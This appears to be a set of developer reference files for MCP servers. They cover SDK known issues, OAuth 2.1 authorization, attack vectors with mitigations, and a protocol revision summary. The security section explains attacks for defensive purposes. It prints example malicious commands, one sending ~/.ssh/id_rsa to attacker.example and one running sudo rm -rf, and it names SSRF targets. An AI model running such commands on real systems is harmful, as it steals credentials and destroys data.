      | [#1699](https://github.com/modelcontextprotocol/typescript-sdk/issues/1699) - Transport closure stack overflow (15-25+ concurrent) | High | Fixed on the **v2 line only** (PR #1788, merged to `main` 2026-04-02); no v1 backport observed | Move to v2, or cap concurrent transport closures on v1 |
      | [#1619](https://github.com/modelcontextprotocol/typescript-sdk/issues/1619) - HTTP/2 + SSE Content-Length error | Medium | Closed (reclassified to upstream `@hono/node-server#266`) | Use `enableJsonResponse: true` or avoid HTTP/2 upstream |
      | [#893](https://github.com/modelcontextprotocol/typescript-sdk/issues/893) - Dynamic registration after connect blocked | Medium | **Open on both `main` and `v1.x`** - `set*RequestHandlers()` calls `registerCapabilities()` unconditionally, which throws once a transport is attached | Register all tools/resources before `connect()`. If you must register later, register one dummy tool/resource/prompt *before* `connect()` to force handler initialization |
      | [#1596](https://github.com/modelcontextprotocol/typescript-sdk/issues/1596) - Plain JSON Schema silently dropped | Fixed | v1.28.0 (now throws at registration) | v1: pass Zod. v2: wrap with `fromJsonSchema()` |
      | [#702](https://github.com/modelcontextprotocol/typescript-sdk/issues/702) - `z.transform()` stripped during conversion | Low | Permanent JSON Schema limitation, not a fixable bug | Validate/transform inside the handler, not in the registered schema |
      | Client AJV strict rejects unstripped `structuredContent` extras | High | Behavior, not bug | Server `.parse()` upstream data before returning, or use `.passthrough()` |
      | GHSA-345p-7cg4-v4c7 / [CVE-2026-25536](https://nvd.nist.gov/vuln/detail/cve-2026-25536) - Shared instances leak cross-client data | Critical | Fixed v1.26.0 | **Require >= v1.26.0** (or v2.0.0-alpha.1+); per-request server+transport |
      | [CVE-2026-0621](https://github.com/modelcontextprotocol/typescript-sdk/pull/1365) - UriTemplate ReDoS | Medium | Fixed v1.25.2 / v2.0.0-alpha.1 | Upgrade |
      
      Conversion-level detail for the schema entries (#1643, #1596, #702, #2636, #2705, AJV strict) lives in `tool-schema-guide.md`. The CVEs and their attack shapes are covered in `security-auth.md`.
      
      ## Three schema defects, one symptom
      
      `#2721` (draft-07), `#2636` (dropped `additionalProperties`) and `#2705` (skipped `refine`) all fail **silently on the server** and only surface at the client, which is why they are worth testing for explicitly. The check that catches all three is the same one: call `tools/list` against your running server and assert on the JSON it actually publishes - the dialect in `$schema`, the presence of `additionalProperties`, and a `tools/call` with input your Zod schema should reject. `@modelcontextprotocol/inspector` >= 2.4.0 automates the portability half of that.
      
      ## Fixed on `main`, not yet released
      
      `@modelcontextprotocol/server@2.0.0` is still the newest published v2, with several fixes sitting unreleased on `main`. Do not code around them yet, but know they are coming: a 4 MiB `maxRequestBodySize` with a `413` response and a 100-message JSON-RPC batch cap; rejection of a modern POST missing `MCP-Protocol-Version`; `Mcp-Name` mirrored onto `tasks/get`/`update`/`cancel` (without it, conforming servers rejected **every** task poll with `-32020`); `notifications/cancelled` carrying request id `0` no longer ignored; and no more spec-forbidden cancel notification for `initialize`.
      
    • security-auth.md 24.1 KB
      # Security and Authorization
      
      Detailed attack vectors, mitigations, and OAuth 2.1 authorization implementation patterns for MCP servers.
      
      ## Table of Contents
      - [OAuth 2.1 in MCP](#oauth-21-in-mcp)
      - [Authorization Flow](#authorization-flow)
      - [Attack Vectors and Mitigations](#attack-vectors-and-mitigations)
      - [Auth Implementation Best Practices](#auth-implementation-best-practices)
      - [Scope Management](#scope-management)
      
      ## OAuth 2.1 in MCP
      
      MCP normatively requires OAuth 2.1 ([draft-ietf-oauth-v2-1-13](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13)). The spec states: "Authorization servers **MUST** implement OAuth 2.1." OAuth 2.1 is still technically an IETF draft (not yet an RFC), but it's a mature consolidation of OAuth 2.0 + security best practices and is the only version MCP supports.
      
      ### Key Differences from OAuth 2.0
      
      - **PKCE mandatory** for all clients (not just public clients)
      - **Implicit flow removed** entirely
      - **Refresh token rotation** required for public clients
      - **Redirect URI exact matching** required (no wildcards)
      
      ### Supporting RFCs
      
      Some companion specs have "OAuth 2.0" in their titles (published before 2.1 existed) but are fully compatible:
      
      | RFC | Title | MCP Usage |
      |-----|-------|-----------|
      | RFC 8414 | OAuth 2.0 Authorization Server Metadata | Auth server discovery |
      | RFC 7591 | OAuth 2.0 Dynamic Client Registration | Client registration (optional) |
      | RFC 9728 | OAuth 2.0 Protected Resource Metadata | Server metadata discovery (MUST) |
      | RFC 8707 | OAuth 2.0 Resource Indicators | Token audience binding (MUST) |
      
      ### MCP Roles
      
      | Role | MCP Component | OAuth 2.1 Role |
      |------|---------------|----------------|
      | MCP Server | Protected resource | OAuth 2.1 Resource Server |
      | MCP Client | Requesting party | OAuth 2.1 Client |
      | Authorization Server | Token issuer | Standard OAuth 2.1 AS |
      
      Authorization is **optional** in MCP. When supported:
      - HTTP-based transports SHOULD conform to the spec
      - STDIO transports SHOULD use environment credentials instead
      - Always optional - servers can be unauthenticated
      
      ## Authorization Flow
      
      ### Discovery Sequence
      
      ```
      Client -> MCP Server: Request without token
      MCP Server -> Client: 401 + WWW-Authenticate (resource_metadata URL)
      Client -> MCP Server: GET Protected Resource Metadata (RFC 9728)
        -> Returns authorization_servers, scopes_supported
      Client -> Auth Server: GET Authorization Server Metadata (RFC 8414 or OIDC Discovery)
        -> Returns endpoints (authorize, token, registration)
      Client -> Auth Server: Register (CIMD, DCR, or pre-registered)
      Client -> Browser: Authorization code flow + PKCE + resource parameter
      Auth Server -> Client: Access token
      Client -> MCP Server: Request with Bearer token
      ```
      
      ### Client Registration Priority
      
      1. Pre-registered credentials (if available for this server)
      2. Client ID Metadata Documents (CIMD) - HTTPS URL as client_id, recommended for new implementations
      3. Dynamic Client Registration (DCR) - backwards compatibility fallback
      4. User-provided credentials - last resort
      
      ### Required Headers and Parameters
      
      **Every authenticated request**:
      ```
      Authorization: Bearer <access-token>
      ```
      
      Tokens MUST NOT be in URI query strings. Authorization MUST be included in every HTTP request, even within the same session.
      
      **Authorization and token requests MUST include**:
      - `resource` parameter (RFC 8707) - canonical URI of the MCP server
      - `code_challenge` + `code_challenge_method=S256` (PKCE)
      
      ## Attack Vectors and Mitigations
      
      ### Confused Deputy Problem
      
      **Attack**: MCP proxy server uses a static client ID with a third-party auth server. User authenticates normally, third-party sets consent cookie. Attacker later sends victim a crafted authorization request. Cookie skips consent, authorization code is redirected to attacker's server.
      
      **Vulnerable conditions** (ALL must be present):
      1. MCP proxy uses a **static client ID** with third-party AS
      2. MCP proxy allows **dynamic client registration**
      3. Third-party AS sets **consent cookie** after first authorization
      4. MCP proxy does NOT implement **per-client consent** before forwarding
      
      **Mitigation**:
      - Maintain a registry of approved `client_id` values per user
      - Check the registry BEFORE initiating third-party auth flow
      - Show consent page with: requesting client name, third-party API scopes, registered redirect_uri
      - CSRF protection on consent page (state parameter, CSRF tokens)
      - Prevent iframing via `frame-ancestors` CSP or `X-Frame-Options: DENY`
      - Consent cookies MUST use `__Host-` prefix, `Secure`, `HttpOnly`, `SameSite=Lax`
      - Cookies MUST be bound to the specific `client_id` (not just "user has consented")
      - OAuth `state` values MUST be set ONLY AFTER consent is approved (not before)
      
      ### Token Passthrough
      
      **Attack**: MCP server accepts tokens from clients without validating they were issued for the server, and/or forwards them to downstream APIs.
      
      **Explicitly forbidden** in the MCP authorization spec.
      
      **Risks**: Security control circumvention, audit trail issues, trust boundary violations, privilege chaining, future compatibility problems.
      
      **Mitigation**:
      - MUST NOT accept tokens not issued for the MCP server
      - MUST validate audience claim matches the server's canonical URI
      - If proxying to upstream APIs, MUST use a separate token issued by the upstream AS
      - Never pass through client tokens to downstream services
      
      ### Server-Side Request Forgery (SSRF)
      
      **Attack**: Malicious MCP server populates OAuth metadata discovery URLs (`resource_metadata`, `authorization_servers`, `token_endpoint`) with internal network addresses.
      
      **Targets**: Cloud metadata (`169.254.169.254`), internal admin panels, localhost services (Redis, databases), DNS rebinding.
      
      **Mitigation** (for MCP clients deployed server-side):
      - Enforce HTTPS for all OAuth URLs (HTTP only for localhost in dev)
      - Block private IP ranges: `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`, `127.0.0.0/8`, `fc00::/7`, `fe80::/10`
      - Validate redirect targets (don't blindly follow redirects to internal resources)
      - Consider egress proxies (e.g., [Smokescreen](https://github.com/stripe/smokescreen))
      - Be aware of DNS TOCTOU attacks - pin resolution results between check and use
      
      ### Session Hijacking
      
      Two vectors:
      
      **Prompt Injection via shared queues**: Client connects to Server A, gets session ID. Attacker sends malicious event to Server B with that session ID. Server B enqueues it. Server A retrieves and delivers the malicious payload to the client.
      
      **Impersonation**: Attacker obtains session ID, makes requests impersonating the legitimate client.
      
      **Mitigation**:
      - MUST verify all inbound requests (sessions are NOT authentication)
      - MUST NOT use sessions for authentication
      - Session IDs MUST be cryptographically random (secure random UUIDs)
      - SHOULD bind session IDs to user identity (key format: `<user_id>:<session_id>`)
      - Rotate/expire session IDs regularly
      
      ### SDK CVEs (2026)
      
      | CVE | Severity | Fixed in | Notes |
      |-----|----------|----------|-------|
      | [CVE-2026-25536](https://nvd.nist.gov/vuln/detail/cve-2026-25536) (GHSA-345p-7cg4-v4c7) | CVSS 7.1 | `@modelcontextprotocol/sdk` v1.26.0 | Cross-client response data leak when a single `McpServer`/`Server` and transport instance is reused across client connections (v1.10.0-v1.25.3 affected). **Production SDKs MUST be ≥ v1.26.0**. The canonical mitigation is per-request server+transport (the Stateless Pattern in SKILL.md). |
      | [CVE-2026-0621](https://github.com/modelcontextprotocol/typescript-sdk/pull/1365) | Medium | v1.25.2 / v2.0.0-alpha.1 | ReDoS in UriTemplate regex patterns. |
      
      ### Stdio Config Command Injection
      
      Server-side, the ordinary rule applies: never interpolate tool input into a shell command (`child_process.exec` with unsanitized arguments produced [CVE-2025-53967](https://nvd.nist.gov/vuln/detail/CVE-2025-53967) in a shipped MCP server).
      
      OX Security disclosed (2026-04-15) a systemic command-injection design issue in MCP SDK stdio transports across all language SDKs: user-controlled input flows into `StdioServerParameters` (or its equivalents) without sanitization, enabling shell injection at server-spawn time. Anthropic classifies the behavior as "by design" - the SDK does not sanitize, by spec. Defensive responsibility lies with **clients and orchestrators**:
      
      - Treat any string fed to `command`, `args`, or `env` as adversarial input.
      - Refuse user-edited stdio configs without a confirmation dialog showing the exact command and args (untruncated).
      - Prefer first-party / vetted MCP servers; warn explicitly that "running an MCP server" is equivalent to running an arbitrary process with the user's privileges.
      - Sandbox stdio servers (containers, OS-level isolation) where feasible.
      
      ### Local MCP Server Compromise
      
      **Attack**: Malicious startup commands in client configuration, malicious server binaries, DNS rebinding to access localhost servers.
      
      **Example malicious commands**:
      ```bash
      npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://attacker.example/exfil
      sudo rm -rf /important/system/files && echo "MCP server installed!"
      ```
      
      **Mitigation** (for MCP clients):
      - MUST show pre-configuration consent dialog with exact command (untruncated)
      - SHOULD highlight dangerous patterns (`sudo`, `rm -rf`, network operations)
      - SHOULD sandbox MCP server processes with minimal privileges
      - SHOULD warn that servers run with same privileges as the client
      
      **Mitigation** (for MCP servers intended for local use):
      - Use `stdio` transport to limit access to just the MCP client
      - If using HTTP transport: require auth token or use unix domain sockets
      - Bind to localhost only (127.0.0.1)
      
      ### Scope Exploitation
      
      **Attack**: Attacker obtains a broad-scope token (via log leakage, memory scraping, local interception) and uses it for lateral access.
      
      **Mitigation**:
      - Minimal initial scope set (e.g., `mcp:tools-basic`) for discovery/read operations
      - Incremental elevation via targeted `WWW-Authenticate` `scope="..."` challenges
      - Server SHOULD accept reduced-scope tokens (down-scoping tolerance)
      - Emit precise scope challenges - don't return the full catalog
      - Log elevation events with correlation IDs
      - Never use wildcard/omnibus scopes (`*`, `all`, `full-access`)
      
      ## Auth Implementation Best Practices
      
      ### Do
      
      - **Use tested auth libraries** - Keycloak, Auth0, Ory Hydra, etc. Don't roll your own token validation
      - **Issue short-lived access tokens** - reduce blast radius of leaks
      - **Validate audience** on every token - MUST match your server's canonical URI
      - **Enforce HTTPS in production** - HTTP only for localhost development
      - **Return proper `WWW-Authenticate` challenges** - include `Bearer`, `realm`, `resource_metadata`, and `scope`
      - **Store tokens in encrypted storage** with proper access controls and eviction policies
      - **Use PKCE with S256** - verify PKCE support via auth server metadata before proceeding
      - **Include `resource` parameter** in every authorization and token request (RFC 8707)
      
      ### Don't
      
      - **Don't log credentials** - never log Authorization headers, tokens, codes, or secrets
      - **Don't reuse server credentials for user flows** - separate app vs. resource server secrets
      - **Don't accept generic audiences** (`api`, `*`) - require exact server URI match
      - **Don't skip consent for DCR clients** - unauthenticated DCR means anyone can register
      - **Don't tie authorization to session IDs** - treat `Mcp-Session-Id` as untrusted input
      - **Don't accept tokens from other realms** - pin to a single issuer unless explicitly multi-tenant
      - **Don't leak error details** - return generic messages to clients, log detailed reasons internally
      
      ### Protected Resource Metadata
      
      MCP servers MUST implement RFC 9728 to advertise their authorization servers:
      
      ```json
      {
        "resource": "https://mcp.example.com",
        "authorization_servers": ["https://auth.example.com"],
        "scopes_supported": ["mcp:tools"]
      }
      ```
      
      Discovery via `WWW-Authenticate` header (preferred) or `.well-known/oauth-protected-resource` fallback.
      
      ### Path-Aware `WWW-Authenticate.resource_metadata` (frequent gotcha)
      
      If your MCP server lives at a path (e.g. `https://example.com/mcp-v2`), the `resource_metadata` URL advertised in the 401 `WWW-Authenticate` header **must** point to a path-specific metadata document whose `resource` field exactly matches the URL the client connected to. Hardcoding `/.well-known/oauth-protected-resource` (the root) returns metadata claiming `"resource": "https://example.com"`, which the MCP SDK compares against `https://example.com/mcp-v2`, sees mismatch, and falls into a discovery loop.
      
      ```typescript
      // BROKEN: root-only metadata, mismatched resource
      res.set("WWW-Authenticate",
        `Bearer realm="mcp", resource_metadata="https://example.com/.well-known/oauth-protected-resource"`);
      
      // FIX: path-aware metadata that matches the connect URL
      res.set("WWW-Authenticate",
        `Bearer realm="mcp", resource_metadata="https://example.com/.well-known/oauth-protected-resource/mcp-v2"`);
      // served document MUST have: { "resource": "https://example.com/mcp-v2", ... }
      ```
      
      The companion RFC 8414 path-insertion convention applies to the authorization-server metadata too: clients probe `/.well-known/oauth-authorization-server/<path>` before falling back to root, so register a wildcard route or 404 won't cascade back to the root document.
      
      ### Token Audience Pitfalls
      
      Two failure modes seen in the wild when wiring up OAuth providers (Better-Auth, Auth0, Keycloak, etc.) for MCP:
      
      1. **Collapsed audience**: serving REST + MCP from the same audience defeats RFC 8707's resource-bound model. Use distinct `resource` URIs per protected surface.
      2. **Opaque vs JWT compatibility**: some providers (Better-Auth, in particular) issue **opaque** access tokens when the `resource` parameter is absent from the token request. Many MCP middlewares assume JWTs and fail validation (e.g. `verifyAccessToken(jwksUrl)` throws → 401). Either require the `resource` parameter at the AS, or accept the introspection path.
      
      ### Token Endpoint Failures Masquerade as "Re-authorize" (ops gotcha)
      
      A server-side 500 on the OAuth token endpoint surfaces in MCP clients as a misleading "requires re-authorization" / "token expired" - and stays latent until tokens happen to need refresh. A classic cause is a schema-ahead deploy: code queries a column whose migration never ran, so every token-endpoint request 500s. Monitor the token endpoint distinctly from the MCP endpoint, and gate deploys on pending migrations.
      
      ### RFC 9207 `iss` and the `authorization_response_iss_parameter_supported` Advertisement (client-interop footgun)
      
      [RFC 9207](https://datatracker.ietf.org/doc/html/rfc9207) adds an `iss` query parameter to the authorization *response* (the browser redirect carrying `code` + `state`), so a client can confirm which AS issued the code. An AS signals support by advertising `authorization_response_iss_parameter_supported: true` in its RFC 8414 metadata. That flag is a **contract**: a strict client that reads it MUST require and validate `iss` on every callback and reject the flow when `iss` is missing or mismatched.
      
      This becomes a footgun when a strict-but-buggy client demands the param and then can't parse it - the server is spec-correct and still fails login:
      
      - **rmcp (Rust MCP SDK) >= 1.8.0** sets `require_issuer = true` whenever the server advertises the flag ([rust-sdk PR #896](https://github.com/modelcontextprotocol/rust-sdk/pull/896)).
      - **Codex 0.143.0 - 0.145.0** (bundles rmcp 1.8.0) drops `iss` when parsing the callback (`parse_oauth_callback` hits the catch-all arm), then calls the issuer-less `handle_callback`, so `require_issuer` fires: `Authorization server response missing required issuer: expected <issuer>`. The server does send a matching `iss`; the client discards it before validating. Regression tracked in [openai/codex#33354](https://github.com/openai/codex/issues/33354) (works on <= 0.142.5 / rmcp 1.7.0). A companion symptom - a startup `invalid_grant: invalid refresh token` - is a red herring: refresh simply falls back to full re-auth, which then hits the `iss` wall.
      - **Better-Auth's `@better-auth/oauth-provider`** ([PR #7669](https://github.com/better-auth/better-auth/pull/7669)) both emits `iss` on the redirect **and** advertises the flag, so every Better-Auth-backed MCP server trips this class of client out of the box (reproduced across unrelated Better-Auth deployments, not one server's misconfig).
      
      **Server-side mitigation (fix it for the client; don't make users downgrade):** post-process the AS metadata to advertise `authorization_response_iss_parameter_supported: false` while **still sending the real `iss` on the redirect**. rmcp then stops setting `require_issuer`, so a client that drops `iss` no longer errors, and spec-compliant clients still receive the `iss` they can validate - they just no longer treat it as mandatory. Harmless to compliant clients (mcp-remote, Claude.ai web). Treat it as a temporary shim keyed to the client bug and revert once the client ships its fix.
      
      ```typescript
      // well-known AS-metadata handler: keep sending `iss` on the redirect,
      // but stop advertising it as required so strict-but-buggy clients don't hard-fail.
      const metadata = await upstreamAuthServerMetadata();   // your OAuth provider's RFC 8414 doc
      return Response.json({
        ...metadata,
        authorization_response_iss_parameter_supported: false,
      });
      ```
      
      The general principle this case establishes: **absorb client bugs server-side whenever you can, so clients and users work unchanged.** A client-side workaround (downgrade, manual config) is a last-resort mention, never your shipped fix.
      
      ### DPoP: sender-constrained tokens (RFC 9449 / SEP-1932)
      
      Bearer tokens are bearer tokens - anything that steals one can use it. DPoP binds an access token to a client-held key pair, so a stolen token is useless without the private key. It is the Agent Identity WG's headline item on the 2026-08-22 roadmap: *"Finalize the specification for Demonstrating Proof of Possession (DPoP) and focus on getting widespread adoption."*
      
      Client-side support has already landed in the TypeScript SDK (`@modelcontextprotocol/client`, `client/dpop` module) on `main`, unreleased as of `2.0.0`. Nothing is required of your server yet, and none of it is normative in 2026-07-28. What it changes today is a design decision: if you are choosing how to bind credentials now, DPoP is the direction of travel, so avoid architectures that assume a plain bearer token is the permanent shape - notably anything that copies tokens between components.
      
      Related and still earlier-stage: Workload Identity Federation (SEP-1933) and ID-JAG / RFC 8693 token exchange, both under the same working group.
      
      ### v2 SDK Auth Helpers (2.0.0)
      
      `@modelcontextprotocol/server` ships runtime-neutral helpers for web-standard `fetch(request)` hosts (Cloudflare Workers, Deno, Bun, Hono): `requireBearerAuth` gates requests via an `OAuthTokenVerifier`, and `oauthMetadataResponse` serves the RFC 9728 Protected Resource Metadata and RFC 8414 Authorization Server metadata documents ([PR #2420](https://github.com/modelcontextprotocol/typescript-sdk/pull/2420), [PR #2422](https://github.com/modelcontextprotocol/typescript-sdk/pull/2422)). The insecure-issuer escape hatch is an explicit `dangerouslyAllowInsecureIssuerUrl` option, no longer an env read.
      
      ## Scope Management
      
      ### Progressive Scope Model
      
      ```
      Initial request -> 401 with scope="mcp:tools-basic"
        -> Client requests mcp:tools-basic
        -> Tool call requiring write access -> 403 insufficient_scope
        -> Client requests mcp:tools-basic mcp:files-write
        -> Tool call succeeds
      ```
      
      ### Scope Challenge Response (HTTP 403)
      
      ```http
      HTTP/1.1 403 Forbidden
      WWW-Authenticate: Bearer error="insufficient_scope",
                               scope="files:read files:write",
                               resource_metadata="https://mcp.example.com/.well-known/oauth-protected-resource",
                               error_description="File write permission required"
      ```
      
      Servers decide what scopes to include:
      - **Minimum**: only newly-required scopes + existing granted scopes
      - **Recommended**: existing + new + related scopes (prevents losing previously granted permissions)
      - **Extended**: all commonly co-used scopes
      
      ### Common Scope Mistakes
      
      - Publishing all possible scopes in `scopes_supported`
      - Using wildcard scopes (`*`, `all`, `full-access`)
      - Bundling unrelated privileges to preempt future prompts
      - Silent scope semantic changes without versioning
      - Treating claimed scopes as sufficient without server-side authorization logic
      
      ### 2026-07-28 Auth Changes (released)
      
      The released revision changes four things that affect server authors:
      
      - **Dynamic Client Registration is deprecated** in favor of [Client ID Metadata Documents (CIMD)](https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization/client-registration#client-id-metadata-documents) ([PR #2858](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2858)). DCR remains available for authorization servers that don't support CIMD, so this is a direction signal rather than a breaking change.
      - **`iss` validation is normative**: authorization servers **SHOULD** include `iss` per RFC 9207, and clients **MUST** validate a present `iss` against the recorded issuer before redeeming the code ([SEP-2468](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2468)). This is the same mechanism as the interop footgun above - the workaround there (send `iss`, advertise the metadata flag as `false`) stays valid, because a client that validates a *present* `iss` is satisfied either way.
      - **Credentials are bound to their issuer**: clients **MUST** key persisted credentials by issuer identifier, **MUST NOT** reuse them against a different authorization server, and **MUST** re-register when it changes ([SEP-2352](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2352)).
      - **Clients declare an OIDC `application_type`** during DCR to avoid redirect-URI conflicts ([SEP-837](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/837)).
      
      On scope accumulation, the released text is prose rather than a mechanism: *"Scope accumulation across operations is a client-side responsibility."* Your server still decides what to put in each `WWW-Authenticate` challenge - see the progressive scope model above - but it cannot assume the client unions scopes for it.
      
      See the [release announcement](https://blog.modelcontextprotocol.io/posts/2026-07-28/) and the [authorization spec](https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization).
      
      ## Client Reality (field-observed)
      
      The spec describes what clients ought to do. These are behaviors observed in shipping clients that will break a spec-correct server if you don't absorb them.
      
      - **Point `resource_metadata` at the path-specific document.** A `WWW-Authenticate: Bearer resource_metadata="..."` header that points at the site root yields a `resource` mismatch and a "requested resource invalid" failure: the client *"follows the header -> gets the root metadata -> ... doesn't match ... -> 'requested resource invalid'. The well-known fix was irrelevant because [the client] never falls back to the path-aware URL."* Clients follow the header you give them and do not fall back.
      - **Serve wildcard `.well-known` handlers.** Clients build discovery URLs by inserting the **resource** path, not the issuer path - so register `/.well-known/oauth-authorization-server/*` and `/.well-known/oauth-protected-resource/*` wildcards rather than one fixed route under your auth-server path.
      - **Keep an opaque-token/introspection fallback.** Not every client sends the RFC 8707 `resource` parameter - some send it in neither the authorize request nor registration. A server that *requires* resource-bound tokens locks those clients out. Honor `resource` when present; don't mandate it.
      - **Audience misconfiguration degrades silently.** When the audience the client binds to isn't in the provider's accepted-audience set, OAuth fails at *token issuance*, and the symptom is not an auth error - it is silent degradation to the unauthenticated path, so your server just sees anonymous traffic. Verify the exact MCP endpoint URL is in the provider's `validAudiences`.
      - **A stale refresh token can be a hard dead-end.** Some clients exit the handshake on `400 invalid_grant` at refresh with no automatic re-registration. Keep signing secrets stable across deploys and avoid deleting registered clients, or you strand existing sessions.
      
    • spec-2026-07-28.md 29.2 KB
      # Spec 2026-07-28 (released)
      
      The current released revision, published 2026-07-28. It is a **stateless/sessionless overhaul**: the `initialize` handshake and `Mcp-Session-Id` are gone, and every request carries its own identity and version in `_meta`.
      
      Read this alongside `transport-patterns.md` (which covers both eras on the wire) and `v2-migration.md` (which covers the SDK side).
      
      > **This revision is opt-in.** TypeScript SDK v2.0.0 speaks the 2025 protocol by default - see "The Two Eras" in `SKILL.md`. Nothing here is on the wire until you explicitly select the revision.
      
      ## Table of Contents
      - [Per-Request `_meta` Identity](#per-request-_meta-identity)
      - [server/discover](#serverdiscover)
      - [subscriptions/listen](#subscriptionslisten)
      - [Per-Request Log Level](#per-request-log-level)
      - [Multi Round-Trip Requests](#multi-round-trip-requests)
      - [Stateful Tools: Handles Instead of Sessions](#stateful-tools-handles-instead-of-sessions)
      - [Standard Request Headers](#standard-request-headers)
      - [Cacheable Results](#cacheable-results)
      - [Error Code Allocation](#error-code-allocation)
      - [Other Removals and Loosenings](#other-removals-and-loosenings)
      
      ## Per-Request `_meta` Identity
      
      There is no handshake, so every request re-states what `initialize` used to establish once. Four reserved `_meta` keys carry it:
      
      | Key | Direction | Requirement |
      |-----|-----------|-------------|
      | `io.modelcontextprotocol/protocolVersion` | request | Carries the revision the client is speaking |
      | `io.modelcontextprotocol/clientCapabilities` | request | Replaces `InitializeRequest.capabilities` |
      | `io.modelcontextprotocol/clientInfo` | request | Clients **SHOULD** identify themselves on each request |
      | `io.modelcontextprotocol/serverInfo` | result | Servers **SHOULD** identify themselves in each result's `_meta` |
      
      ```json
      {
        "jsonrpc": "2.0",
        "id": 1,
        "method": "tools/call",
        "params": {
          "name": "get_weather",
          "arguments": { "location": "Seattle, WA" },
          "_meta": {
            "io.modelcontextprotocol/protocolVersion": "2026-07-28",
            "io.modelcontextprotocol/clientInfo": { "name": "ExampleClient", "version": "1.0.0" },
            "io.modelcontextprotocol/clientCapabilities": {}
          }
        }
      }
      ```
      
      Version mismatches return `UnsupportedProtocolVersionError` (`-32022`).
      
      **Extension negotiation moved here too.** Clients advertise extension support in `_meta["io.modelcontextprotocol/clientCapabilities"]` per request, not in an `initialize` exchange.
      
      **SDK note**: `serverInfo` lives in the result's `_meta`, not the result body - a late change ([PR #2513](https://github.com/modelcontextprotocol/typescript-sdk/pull/2513), v2 beta.5) that realigned the SDK with the final spec. The TS SDK exports the key as `SERVER_INFO_META_KEY`. SDK builds at or below `2.0.0-beta.3` implement the pre-realignment shape and fail against conforming servers.
      
      ## server/discover
      
      Replaces initialize-time negotiation. **Servers MUST implement it**; clients **MAY** call it.
      
      > Servers **MUST** implement this RPC to advertise their supported protocol versions, capabilities, and identity.
      
      A client is free to skip it entirely and invoke any RPC inline, handling `UnsupportedProtocolVersionError` if the version is unsupported. It is most useful for presenting server information up front and as a backward-compatibility probe on stdio.
      
      ```json
      {
        "jsonrpc": "2.0",
        "id": "discover-1",
        "result": {
          "resultType": "complete",
          "supportedVersions": ["2026-07-28"],
          "capabilities": { "tools": {}, "resources": {} },
          "_meta": {
            "io.modelcontextprotocol/serverInfo": { "name": "ExampleServer", "version": "1.0.0" }
          },
          "instructions": "This server provides weather and resource utilities.",
          "ttlMs": 3600000,
          "cacheScope": "public"
        }
      }
      ```
      
      `DiscoverResult` is itself a `CacheableResult` - it carries `ttlMs`/`cacheScope`, so clients can cache the discovery response.
      
      ### The stdio probing gotcha
      
      Some stdio servers **exit** on a request they did not expect before initialization, rather than answering an error and carrying on. A `server/discover` probe then kills the process, and because the SDK cannot distinguish "legacy server" from "server I just killed", there is nothing left to fall back to. TS SDK v2 works around it by probing on a disposable sibling process ([PR #2514](https://github.com/modelcontextprotocol/typescript-sdk/pull/2514)); its own comment scopes the hazard to *"SDKs that terminate on any pre-`initialize` request"* rather than naming an implementation, and so should you - this is a per-version property, not a permanent trait of any language SDK.
      
      **The rule for your own stdio server: an unexpected or unknown pre-initialization request is an error to answer, never a reason to exit.** Reply `-32601 Method not found` (or `-32602` if the request is recognized but malformed) and keep reading stdin. A server that stays alive works with dual-era clients for free; one that exits forces every client to grow a sibling-process workaround.
      
      Two failure modes make this hard to notice:
      
      - **Silent by construction.** A harness whose MCP server died during load can still finish the turn and exit `0`. "The command succeeded" is not evidence the tools were there - grep the run log for the load-failure line before trusting any run that depended on MCP.
      - **A partial fix still fails.** The Rust SDK is the worked example: `server/discover` has been implemented since `rmcp` 3.0.0 (2026-07-28), so the method itself is no longer the problem. What a modern-era rmcp server rejects is a probe whose `_meta` lacks the required keys - and there are exactly **two**, `io.modelcontextprotocol/protocolVersion` and `io.modelcontextprotocol/clientCapabilities` (`clientInfo` is SHOULD, not required). Since 3.1.4 (2026-08-20) it answers `-32602` naming the missing keys instead of closing silently - but it still closes rather than continuing. Supporting the method is not the same as tolerating a malformed probe.
      
      ## subscriptions/listen
      
      One long-lived POST-response stream replaces both the HTTP GET endpoint and `resources/subscribe`/`resources/unsubscribe`.
      
      The client sends a `notifications` filter; the server **MUST NOT** send notification types the client did not explicitly request.
      
      | Filter field | Type | Delivers |
      |---|---|---|
      | `toolsListChanged` | `boolean` | `notifications/tools/list_changed` |
      | `promptsListChanged` | `boolean` | `notifications/prompts/list_changed` |
      | `resourcesListChanged` | `boolean` | `notifications/resources/list_changed` |
      | `resourceSubscriptions` | `string[]` | `notifications/resources/updated` for those URIs |
      
      All fields are optional; omitting one means not subscribing to it.
      
      The server **MUST** send `notifications/subscriptions/acknowledged` as the first message, carrying the subscription ID in `_meta` under `io.modelcontextprotocol/subscriptionId`, and **MUST NOT** send any notification on the subscription before it. The acknowledgment's `notifications` field reflects only the subset the server agreed to honor - **check it against what you requested**, since unsupported types are silently omitted.
      
      Request-scoped notifications (`notifications/progress`, `notifications/message`) do **not** flow here. They stay on the response stream of the request they relate to.
      
      **Keep-alive**: servers are *encouraged* (not SHOULD) to periodically emit an SSE comment line (`:\r\n`) so intermediaries do not kill idle streams; clients **MUST** ignore SSE comment lines. Both SDK lines now do this automatically via `keepAliveMs` (default 15000, `0` disables).
      
      ## Per-Request Log Level
      
      `logging/setLevel` is removed. Level is set per request via `io.modelcontextprotocol/logLevel` in `_meta`, and the server **MUST NOT** emit `notifications/message` for any request that did not include the field.
      
      Practical consequence: there is no ambient log level any more. A server cannot be "put into debug mode" for a connection - logging is opt-in per call, which also means a request with no `logLevel` should produce no log notifications at all.
      
      Logging is itself Deprecated under the feature lifecycle (SEP-2577). The suggested migrations are `stderr` (stdio) or OpenTelemetry.
      
      ## Multi Round-Trip Requests
      
      MRTR ([SEP-2322](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2322)) replaces server-initiated requests (`roots/list`, `sampling/createMessage`, `elicitation/create`) wholesale. A server cannot call the client; instead it returns an interim result asking for more input.
      
      - All results carry a required `resultType`: `"complete"` or `"input_required"`.
      - An `input_required` result is an `InputRequiredResult` whose `inputRequests` field carries what the server needs.
